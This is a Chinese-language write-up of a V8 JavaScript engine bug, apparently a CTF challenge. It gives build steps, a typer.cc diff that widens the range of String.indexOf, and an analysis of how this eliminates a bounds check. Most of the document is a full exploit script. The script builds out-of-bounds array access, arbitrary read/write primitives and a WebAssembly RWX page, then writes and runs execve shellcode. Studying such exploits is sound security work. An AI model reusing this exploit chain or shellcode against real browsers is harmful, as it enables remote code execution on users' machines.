git reset --hard d2da19c78005c75e0f658be23c28b473dd76b93b
gclient sync -f
tools/dev/v8gen.py x64.release
编辑 out.gn/x64.release/args.gn
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
ninja -C out.gn/x64.release d8
Javascript indexOf方法
indexof
indexOf()
方法返回调用它的 String
对象中第一次出现的指定值的索引,从 fromIndex
处进行搜索。如果未找到该值,则返回 -1。
分析
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index e04b1fb..251a946 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1453,7 +1453,7 @@
return Type::String();
case kStringIndexOf:
case kStringLastIndexOf:
- return Type::Range(-1.0, String::kMaxLength - 1.0, t->zone());
+ return Type::Range(-1.0, String::kMaxLength, t->zone());
case kStringEndsWith:
case kStringIncludes:
return Type::Boolean();
将string的length从(-1,kMaxLength-1)改为了(-1,kMaxLength),首先我们需要知道kMaxLength的值,可以通过运行下面的poc来获得
./d8 --allow_natives_syntax
print(%StringMaxLength())
可以看到是
1073741799
即2**30-25
我们可以构造这样的场景
这时就可以做到边界的消除,通过turblizer我们也可以看到range确实变成了(0,0)并且也消除了边界检查
接下来的思路就是通过oob来构造任意地址读写,还是老方法用wasm来弹计算器,但是需要注意的是当我们找到rwx的地址之后还需要将该地址+0x60否则会有一个invalid map的错误
exp
var buf = new ArrayBuffer(0x10);
var float = new Float64Array(buf);
var int = new Uint32Array(buf);
function f2i(addr){
float[0] = addr;
let tmp = Array.from(int);
return tmp[0] + tmp[1]*0x100000000;
}
function i2f(addr){
let tmp = [];
tmp[0] = parseInt(addr % 0x100000000);
tmp[1] = parseInt((addr - tmp[0]) / 0x100000000);
int.set(tmp)
return float[0];
}
function hex(addr){
return "0x" + addr.toString(16);
}
function wasm_func() {
var wasmImports = {
env: {
puts: function puts (index) {
//print(utf8ToString(h, index));
}
}
};
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
return m.exports.hello;
}
func = wasm_func();
var wasmObjAddr;
var a1,a2,a3,a4,floatArray,obj,objArray,objBuf,objView,tmp_low,tmp_high;
print(i2f(0x100000000000));
function foo(index){
let x = 'A'.repeat(2**30-25).indexOf("",index);
let y = x + 25;
let z = y >> 30;
let m = z * 9;
let m1 = z * 18;
var a1 = [1.1,2.2,3.3,4.4];
a2 = [1.1,2.2,3.3,4.4,5.5];
a1[m] = 8.691694759794e-311;
a1[m1] = 8.691694759794e-311;
return a1;
}
foo(0);
foo(0);
for(let i = 0 ; i < 10000;i++) foo(0);
let oob_array = foo(2**30-25);
var jit = new Function("var a = 0x1234");
obj = {aaaa:"bbbb"};
objArray = [obj];
objArray[0] = func;
var wasmObjAddr = f2i(a2[481]) - 0x1;
print("wasmObjAddr :"+ hex(wasmObjAddr));
objBuf = new ArrayBuffer(0x233);
var obj_dataview = new DataView(objBuf);
a2[619] = i2f(wasmObjAddr + 0x20);
var sharedInfoAddr = f2i(obj_dataview.getFloat64(0,true)) - 0x1;
print("[+] sharedInfoAddr: "+hex(sharedInfoAddr));
a2[619] = i2f(sharedInfoAddr + 0x8);
var rwx_addr = f2i(obj_dataview.getFloat64(0,true)) + 0x60;
print("[+] rwx_addr: "+hex(rwx_addr));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
a2[619] = i2f(rwx_addr);
for(var i = 0;i < 118;i++){
obj_dataview.setUint8(i,shellcode[i]);
}
func();